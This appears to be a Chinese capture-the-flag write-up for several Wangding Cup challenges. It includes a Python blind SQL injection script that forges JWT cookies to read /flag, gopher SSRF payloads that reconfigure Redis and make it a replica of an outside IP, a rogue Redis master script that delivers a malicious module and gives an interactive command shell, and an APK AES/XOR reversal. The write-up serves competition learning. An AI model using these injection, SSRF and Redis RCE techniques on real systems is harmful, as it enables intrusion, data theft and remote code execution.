网鼎杯玄武组部分web题解

查看JS，在JS中找到p14.php，直接copy下来console执行，输入战队的token就可以了

js_on

顺手输入一个 admin admin，看到下面的信息

欢迎admin
这里是你的信息：key:xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6

第一步想的是二次注入，但是一直被嘲讽，出题人素质有待加强，然后重新捋一遍思路，是不是命令注入，稍微测试了一下，感觉不对路，重新回过头，提示的这个key很明显是 jwt 的key，然后猜测二次注入的部分是不是在token部分，结果二次注入没发现，倒是发现在 token处存在布尔注入，如果为真 news会返回你输入的内容，如果为假，则返回 ？？？no message

脚本

# coding=utf-8

import jwt

import requests

import re

requests.packages.urllib3.disable_warnings()

key = "xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6"

url = "http://84f801d8da46417d9747f9bb2f8187b963c126676ca644fd.cloudgame1.ichunqiu.com/index.php"

proxies = {"http":"http://127.0.0.1:8080","https":"http://127.0.0.1:8080"}

# info = jwt.decode("eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJuZXdzIjoia2V5OnhSdCpZTURxeUNDeFl4aTlhQExnY0dwbm1NMlg4aSY2In0.EpNdctJ5Knu4ZkRcatsyMOxas1QgomB0Z49qb7_eoVg",key,algorithms=['HS256'])

# if info:

    # print(info)

# payloadTmpl = "i'/**/or/**/ascii(mid(database(),{},1))>{}#"

# payloadTmpl = "i'/**/or/**/ascii(mid((s<a>elect/**/g<a>roup_con<a>cat(sc<a>hema_name)/**/fr<a>om/**/info<a>rmation_sc<a>hema.S<a>CHEMATA),{},1))>{}#"

# payloadTmpl = "i'/**/or/**/ascii(mid((s<a>elect/**/g<a>roup_con<a>cat(ta<a>ble_name)/**/fr<a>om/**/info<a>rmation_sc<a>hema.t<a>ables/**/wher<a>e/**/ta<a>ble_s<a>chema=dat<a>abase()),{},1))>{}#"

# payloadTmpl = "i'/**/or/**/ascii(mid((s<a>elect/**/g<a>roup_con<a>cat(col<a>umn_name)/**/fr<a>om/**/info<a>rmation_sc<a>hema.c<a>olumns/**/wher<a>e/**/ta<a>ble_s<a>chema=dat<a>abase()),{},1))>{}#"

payloadTmpl = "i'/**/or/**/ascii(mid((se<a>lect/**/lo<a>ad_fi<a>le('/fl<a>ag')),{},1))>{}#"

def half_interval():

    result = ""

    for i in range(1,45):

        min = 32

        max = 127

        while abs(max-min) > 1:

            mid = (min + max)//2

            payload = payloadTmpl.format(i,mid)

            jwttoken = {

                "user": payload,

                "news": "success"

            }

            payload = jwt.encode(jwttoken, key, algorithm='HS256').decode("ascii")

            # print(payload)

            cookies = dict(token=str(payload))

            res = requests.get(url,cookies=cookies,proxies=proxies)

            if re.findall("success", res.text) != []:

                min = mid

            else:

                max = mid

        result += chr(max)

        print(result)

if __name__ == "__main__":

    half_interval()

    # payload = payloadTmpl.format(1,32)

    # jwttoken = {

    #     "user": payload,

    #     "news": "success"

    # }

    # print(jwttoken)

    # payload = jwt.encode(jwttoken, key, algorithm='HS256').decode("ascii")

    # print(payload)

    # cookies = dict(token=str(payload))

    # res = requests.get(url,cookies=cookies,proxies=proxies)

    # res.encoding='utf-8'

    # print(res.text)

2.png

ssrfme

刚拿到题目，想起来跟 SECCON 的题目很像，直接DNS重绑定绕过第一步

获取到hint的源码，提示ssrf 打 redis，直接写contrab在save的时候提示没权限，写shell不知道路径

一直主从复制也没成功

很坑，没权限

后来检查一下发现目录不对，转移到有权限的/tmp 下面

gopher://ctf.m0te.top:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquit

然后重复主从的步骤，在自己的VPS上起好了 rogue 服务器

gopher://ctf.m0te.top:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%252039.107.68.253%252060001%250d%250aquit

服务器监听

import socket

import time

CRLF="\r\n"

payload=open("exp.so","rb").read()

exp_filename="exp.so"

def redis_format(arr):

    global CRLF

    global payload

    redis_arr=arr.split(" ")

    cmd=""

    cmd+="*"+str(len(redis_arr))

    for x in redis_arr:

        cmd+=CRLF+"$"+str(len(x))+CRLF+x

    cmd+=CRLF

    return cmd

def redis_connect(rhost,rport):

    sock=socket.socket()

    sock.connect((rhost,rport))

    return sock

def send(sock,cmd):

    sock.send(redis_format(cmd))

    print(sock.recv(1024).decode("utf-8"))

def interact_shell(sock):

    flag=True

    try:

        while flag:

            shell=raw_input("\033[1;32;40m[*]\033[0m ")

            shell=shell.replace(" ","${IFS}")

            if shell=="exit" or shell=="quit":

                flag=False

            else:

                send(sock,"system.exec {}".format(shell))

    except KeyboardInterrupt:

        return

def RogueServer(lport):

    global CRLF

    global payload

    flag=True

    result=""

    sock=socket.socket()

    sock.bind(("0.0.0.0",lport))

    sock.listen(10)

    clientSock, address = sock.accept()

    while flag:

        data = clientSock.recv(1024)

        if "PING" in data:

            result="+PONG"+CRLF

            clientSock.send(result)

            flag=True

        elif "REPLCONF" in data:

            result="+OK"+CRLF

            clientSock.send(result)

            flag=True

        elif "PSYNC" in data or "SYNC" in data:

            result = "+FULLRESYNC " + "a" * 40 + " 1" + CRLF

            result += "$" + str(len(payload)) + CRLF

            result = result.encode()

            result += payload

            result += CRLF

            clientSock.send(result)

            flag=False

if __name__=="__main__":

    lhost="xxx.xxx.xxx.xxx"

    lport=60001

java

用 jadx 对 java.apk 反汇编

主程序逻辑并不复杂，正常的输入，以及将输入进行计算后比对

先对用户输入进行 AES 加密 ，Key 为 aes_check_key!@#，然后进行两次异或，最后 base64 编码

与 VsBDJCvuhD65/+sL+Hlf587nWuIa2MPcqZaq7GMVWI0Vx8l9R42PXWbhCRftoFB3进行比较

所以 crack 过程也很简单，逆回来就得到输入，但是中间卡在密钥并不是直接给的密钥，还对密钥里 'e' 和 'o'进行了替换，最终密钥为 aos_chock_koy!@#，逆回去得到flag